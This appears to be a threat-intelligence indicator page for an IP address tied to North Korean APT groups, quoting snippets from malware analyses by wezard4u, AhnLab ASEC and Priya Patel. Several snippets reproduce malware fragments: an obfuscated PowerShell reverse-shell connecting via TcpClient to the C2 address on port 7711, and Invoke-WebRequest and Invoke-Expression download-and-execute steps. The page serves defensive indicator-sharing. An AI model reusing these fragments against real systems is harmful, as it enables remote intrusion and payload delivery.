64.20.59.148
64.20.59.148 is an IP address
that 6 published sources report
in connection with Kimsuky, Konni, APT37 and Lazarus Group activity, which public reporting
attributes to North Korea (DPRK).
It is cited here from wezard4u, AhnLab ASEC and Priya Patel.
The earliest of those reports is dated 2025-03-13 and the most recent 2025-05-12.
ip address KimsukyKonniAPT37Lazarus Group MATCHED IN SOURCE
Network
| Kind | data centre |
|---|---|
| Network | Interserver, Inc |
| Announced by | AS19318 Interserver, Inc |
| Country | United States |
| Flags | hosting range |
Sources
-
…난독화된 문자열을 여러 개 조합하여 최종 코드 생성 $qsw0, $uvw1, $ruz2 등 여러 개의 Base64 인코딩된 문자열을 결합하여 실행할 코드 구성 Invoke-Expression을 이용하여 최종 페이로드 실행 C2:64.20.59.148 기존 악성 파일 삭제 Remove-Item c:\programdata\le.ps1 외부 URL에서 ZIP 파일 다운로드:Invoke-WebRequest -Uri "http://snswf.dropwm.com/...…
북한 해킹 그룹 Konni(코니)에서 만든 사이버범죄 신고시스템 사칭 악성코드-ECRM.hwp.lnk(2025.3.11) — wezard4u -
…저장된 스크립트를 다시 실행 저장한 e.ps1 파일을 다시 PowerShell을 통해 실행 e.ps1 분석 64.20.59.148 이걸 읽으면 ProcessExplorer 본 악성코드 실행 IP 주소를 문자열로 저장하고 거꾸로 저장하거나 Base64로 인코딩하거나 문자 배열로 나누고 재조합 64.20.59.148 cbbsU[1]->포트 5588…
북한 해킹 그룹 Konni(코니)에서 만든 악성코드-ECRM.M.hwp.lnk(<-가칭,2025.3.24) — wezard4u -
…-ep bypass -c $g='b56(1)4';$o"+g(+)"'+$g;sc $o 0;whi"(+)"le($true) {$a=New-Object Syst"+"em.Net.Soc"(+)"kets.TcpClien"+"t"+"('64.20.59.148'(,)7711); $s=$a.GetSt"(+)"ream();"(+)t(+)"Writer($s);$w.Au(t)oFlush=$true;$z='123'(+)$g;$w.WriteLin…
북한 Konni(코니) 에서 만든 한국인터넷진흥원 사칭 악성코드-KISA 알림.pdf.lnk(2025.5.8) — wezard4u -
…IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…
2025년 3월 PebbleDash 악성코드 유포 사례 - ASEC — AhnLab ASEC -
…IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details, click the banner…
Distribution of PebbleDash Malware in March 2025 - ASEC — AhnLab ASEC -
…It establishes a connection with a malicious IP address which can also be said to be as the command-and-control server ( 64.20.59.148 ) through ports 8855 and 6699 . The e.ps1 script then downloads a ZIP file ( gs.zip ) from a Dropbox C2 server and extracts its…
Analyzing spear-phishing campaign by Konni APT — Priya Patel
Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.